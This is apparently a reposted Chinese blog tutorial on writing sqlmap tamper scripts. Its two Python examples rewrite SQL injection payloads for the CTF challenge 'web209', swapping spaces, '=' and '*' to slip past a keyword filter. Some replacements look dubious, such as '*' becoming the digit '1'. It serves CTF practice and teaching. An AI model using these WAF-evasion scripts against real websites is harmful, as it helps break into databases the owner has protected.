[huayang]
注意:目前最新的sqlmap已经不能有中文了,注释的也不行
sqlmap的--tamper
参数可以引入用户自定义的脚本来修改注入时的payload,由此可以使用tamper来绕过waf,替换被过滤的关键字等
我们先来分析一下我的原创脚本web209
#!/usr/bin/env python
"""
Author: huayang
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("\n\n\t>>>web209 tamper<<<\n")
def tamper(payload, **kwargs):
payload = payload.replace(" ", chr(0x09))
payload = payload.replace("*", chr(0x31))
payload = payload.replace("=", chr(0x09))
return payload
分为了import部分、__priority__
属性、dependencies函数、tamper函数以及用户自定义的函数
import部分
这一部分我们可以导入sqlmap的内部库
前两个库不用管
第三个库dependencies主要是用来提醒用户的
函数则这样写
def dependencies():
singleTimeWarnMessage("\n\n\t>>>web入门—SQL注入web209 tamper<<<\n")
Tamper
前面的都花里胡哨的,这里才是核心
编写此脚本的题目是过滤了”=” “*” “空格”这三个
我们围绕这三个进行编写即可
暂时就说这么简单
其实还有种更加正确的方法
根据官方脚本进行改编
space2comment.py //把空格替换为/**/
我把注释加上一看便知
贴一个由上题改编的脚本
还是出自web209
#!/usr/bin/env python
"""
Author: huayang
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("\n\n\t>>>webweb209 tamper<<<\n")
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue
elif payload[i] == "*":
retVal += chr(0x31)
continue
elif payload[i] == "=":
retVal += chr(0x09) + 'LIKE' + chr(0x09)
continue
elif payload[i] == " ":
retVal += chr(0x09)
continue
retVal += payload[i]
return retVal
参考文章:
[/huayang]
FROM:浅浅淡淡[hellohy]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论